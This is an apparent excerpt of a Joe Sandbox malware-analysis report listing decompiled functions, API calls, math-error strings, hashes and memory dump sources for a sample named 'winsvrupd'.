                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-4273532761
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b0008cb962dc613f469d6bab3d6e84203162cb9ad9b5dac8b73106cc6cfe59a1
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ec21d44a6049a6083744816f6cd9bf8e5a53e7551326f41c0a0a357159a374a7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b0008cb962dc613f469d6bab3d6e84203162cb9ad9b5dac8b73106cc6cfe59a1
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 60F0C21280CE4882D251EF1CA8401FAB330FF8DB8DF285329EB8C36121DF2AE6428300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4B20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4B20() {

				goto 0x42ce4a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-2468659920
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a5389411ccc7e45f7048adb4fd1c6458282ed40e4919524e4a15964e7b2a7b49
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4c7437f0e0714ac34bb784eb44fee03e71398feda01158f804410997226589a0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a5389411ccc7e45f7048adb4fd1c6458282ed40e4919524e4a15964e7b2a7b49
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80F0C85280CE4881D251EF1C98401FA7330FF8D75DF245325DB8D36121DF29E6428300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4AF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4AF0() {

				goto 0x42ce4a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-2187435201
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: fc4b6e6ff6d48bfc79642ba48f0099ab47fa3e1260e864bcfecc6b52a7c82744
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fd0cdd520215758cad92503919a7aed2c6ca9070856e0f21cdb205ea89ef608a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fc4b6e6ff6d48bfc79642ba48f0099ab47fa3e1260e864bcfecc6b52a7c82744
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6BF0C21280CE4886D251EF1CA8401FAB330FF8DB8DF285329EB8C36121DF6AE6428300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4AE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4AE0() {

				goto 0x42ce4a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-4064033741
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0121409c30f8109b4cc39a1622f91831bc571fdd130dd6823b419fb3e3b0803e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 690ee5155336aac27c6f65937a84cda72e11d1165912c51288046c5a18630948
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0121409c30f8109b4cc39a1622f91831bc571fdd130dd6823b419fb3e3b0803e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BBF0C21280CE4882D251EF1CA8001FAB330FF8DB8DF285329EB8C36160DF6AE6428300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4A71 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-2713391170
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 155e98f34975b41ac0f7527dce2732cf3403be1d580cfaf86f6355501c2e7c71
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2b14c3553a9423c94f74883645ec879b33450662c08c73fc9abfdd396e155d06
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 155e98f34975b41ac0f7527dce2732cf3403be1d580cfaf86f6355501c2e7c71
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E4F06212818E8886D211EF18A8401AAB370FF8DB8DF245325EF8C36225DF29D6428700
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE3890 Relevance: 5.1, APIs: 4, Instructions: 70COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memsetwcscatwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 468205783-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c5d47d18e5f7667e1bedea790da744efb423ccbcdc6c9d3bf50ec1afc9709477
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8deced5403aa80155b6eebaa5727e991862fd8cebd8db2bd9f5959714c4861cc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c5d47d18e5f7667e1bedea790da744efb423ccbcdc6c9d3bf50ec1afc9709477
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8B219322A1C78545E761FF26E84537EA6A0BF55788F588135EE8C87791EFBDD040C340
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5470 Relevance: 5.0, APIs: 4, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE5470(void* __ecx) {

				if ( *0x42edc0e8 != 0) goto 0x42ce5490;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce547f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5488

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeavefree
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4020351045-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ad1c43f3616c9d27b0f0be14a299278e354b98e0ec87c31e85a0b372bb808bcd
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 28ddf7dcdd939ae534d16d308a86ccb8146fb744e6f653794467ce8f266d8e4c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ad1c43f3616c9d27b0f0be14a299278e354b98e0ec87c31e85a0b372bb808bcd
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5113C61B2C60382EA94FB55A88123823B5BFA4BC9B709438C50DC7250DFAEE4458310
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%